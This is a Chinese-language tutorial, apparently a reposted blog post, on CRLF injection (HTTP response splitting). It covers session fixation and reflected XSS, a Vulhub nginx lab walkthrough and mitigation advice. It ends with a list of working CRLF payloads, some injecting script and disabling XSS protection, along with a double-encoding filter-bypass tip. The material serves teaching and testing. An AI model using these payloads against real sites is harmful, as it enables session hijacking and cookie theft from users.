漏洞原理
在HTTP报文中,HTTP header 之间是由一个CRLF字符序列分隔开的,HTTP Header 与 Body 是用两个CRLF分隔的,浏览器根据这两个CRLF来取出HTTP内容并显示出来。一旦我们能够控制HTTP 消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码,所以如果用户的输入在HTTP返回包的Header处回显,便可以通过CRLF来提前结束响应头,在响应内容处注入攻击脚本。因此CRLF Injection 又叫HTTP响应拆分/截断( HTTP Response Splitting )简称HRS。
CRLF注入漏洞是因为Web应用没有对用户输入做严格验证,导致攻击者可以输入一些恶意字符串。攻击者一旦请求行或者首部中的字段注入恶意的CLRF就能注入一些首部字段或报文主体,并在响应体中输出,所以又称为HTTP响应拆分漏洞(HTTP Response Splitting)
知识扩展
行结束符作用->键盘上的回车键(Enter)就可以执行该操作
- 回车符:光标移到行首
- 换行符:光标垂直移到下行
不同操作系统的行结束符
- Windows:使用CRLF表示行的结束 (\r\n)
- Linux/Unix:使用LF表示行的结束 (\n)
- MacOS:早期使用CR表示,现在好像也用LF表示行的结束
漏洞危害
我们可以通过控制信息头的字符来注入一些恶意代码,如实现注入 cookies 和 html代码,而 CRLF 漏洞可以造成Cookie会话固定漏洞和反射型XSS(可过waf)的危害,且主要是设置任意的响应头,控制响应正文这两种主要的利用办法。具体的危害表现在:会话固定/XSS/缓存病毒攻击/日志伪造等等
XSS与CRLF攻击的区别:
XSS和CRLF的注入比较像,不过XSS是注入到主体内容,而CRLF是注入到HTTP响应头
CRLF漏洞注入点主要在重定向或者跳转的地方
会话固定(Session Fixation):
什么是会话固定攻击,会话固定攻击(session fixation attack)是利用应用系统在服务器的会话ID固定不变机制,借助他人用相同的会话ID获取认证和授权,然后利用该会话ID劫持他人的会话以成功冒充他人,造成会话固定攻击。
会话固定也是会话劫持的一种类型。会话劫持是攻击者偷走受害者与服务器建立链接的会话,而会话固定是攻击者事先建立一个会话,然后诱使受害者使用此会话进行登录,如图所示:
一个常见的跳转响应包:
HTTP/1.1 302 Moved Temporarily
Date: Fri,26Jun 2018 17:00:05 GMT
Content-type: text/html
Contet-Length: 155
Connection: close
Location: http://www.sinay.com.cn
当攻击者利用CRLF字符对响应头中的Location进行如下输入:
%0d%0aSet-Cookie:JSPSESSID%3Dhackingsite
则返回包会变成:
HTTP/1.1 302 Moved Temporarily
Date: Fri,26Jun 2018 17:00:05 GMT
Content-type: text/html
Contet-Length: 155
Connection: close
Location: http://www.sinay.com.cn
Set-Cookie: JSPSESSID=hackingsite
攻击者就可以给访问者设置一个session,造成“会话固定”。通过这种攻击方式可以实现插入任意响应Header。
反射型XSS
综合上述案例,如果我们输入的是
%0d%0a%0d%0a<img src=1 οnerrοr=alert(/xss/)>
则返回包会变为如下内容,即返回到用户的浏览器中执行JS代码造成类似于XSS的攻击效果
HTTP/1.1 302 Moved Temporarily
Date: Fri,26Jun 2018 17:00:05 GMT
Content-type: text/html
Contet-Length: 155
Connection: close
Location:http://www.sinay.com.cn
<img src=1 οnerrοr=alert(/xss/)>
漏洞靶场
进入Vulhub路径并启动靶场
cd vulhub/nginx/insecure-configuration
docker-compose build
docker-compose up -d
docker-compose ps
在浏览器中访问: http://192.168.109.133:8080/(ip 是虚拟机的 ip)
使用 Burp 抓包
发送到 repeater,拼接以下路径后发送后Nginx会将$uri进行解码,导致传入的 %0a%0d 即可引入换行符从而造成CRLF注入漏洞
payload:
/%0d%0aSet-Cookie:%201234
挖掘与防护
漏洞挖掘
挖掘此类漏洞,依旧要遵循亘古不变的原则,观察我们的输入“输入“和“输出”位置,对于CRLF则是观察返回的各种类型的协议头,所以挖掘分三步:
观察输出是否在返回头中,查看输入,可能是在URL值和参数、cookie头中。在过往的挖掘过程中,最常见的两种情况是使用输入参数创建 Cookie和302跳转location处。
提交%0D%0A字符,验证服务器是否响应%0D%0A,若过滤可以通过双重编码绕过。
漏洞利用,使杀伤最大化,将漏洞转化为HTML注入,XSS,缓存等
漏洞防护
要避免http响应截断,需要注意以下几点
对用户的数据进行合法性校验,对特殊的字符进行编码,如<、>、’、”、CR、LF等,限制用户输入的CR和LF,或者对CR和LF字符正确编码后再输出,以防止注入自定义HTTP头。
创建安全字符白名单,只接受白名单中的字符出现在HTTP响应头文件中。
在将数据传送到http响应头之前,删除所有的换行符
CLRF Payload
%0d%0aheader:header
%0aheader:header
%0dheader:header
%23%0dheader:header
%3f%0dheader:header
/%250aheader:header
/%250aheader:header
/%%0a0aheader:header
/%3f%0dheader:header
/%23%0dheader:header
/%25%30aheader:header
/%25%30%61header:header
/%u000aheader:header
/www.google.com/%2f%2e%2e%0d%0aheader:header
%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a<svg%20οnlοad=alert(document.domain)>%0d%0a0%0d%0a/%2e%2e
%2Fxxx:1%2F%0aX-XSS-Protection:0%0aContent-Type:text/html%0aContent-Length:39%0a%0a%3cscript%3ealert(document.cookie)%3c/
%0d%0aContent-Type:%20text%2fhtml%0d%0aHTTP%2f1.1%20200%20OK%0d%0aContent-Type:%20text%2fhtml%0d%0a%0d%0a%3Cscript%3Ealert('XSS');%3C%2fscript%3E
https://www.anquanke.com/post/id/240014#h2-16
https://blog.csdn.net/m0_51468027/article/details/129803334?
ops_request_misc=%257B%2522request%255Fid%2522%253A%2522169518156716800186540074%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=169518156716800186540074&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~top_click~default-1-129803334-null-null.142^v94^insert_down28v1&utm_term=CRLF%E6%B3%A8%E5%85%A5&spm=1018.2226.3001.4187
版权归原作者 燕雀安知鸿鹄之志哉. 所有, 如有侵权,请联系我们删除。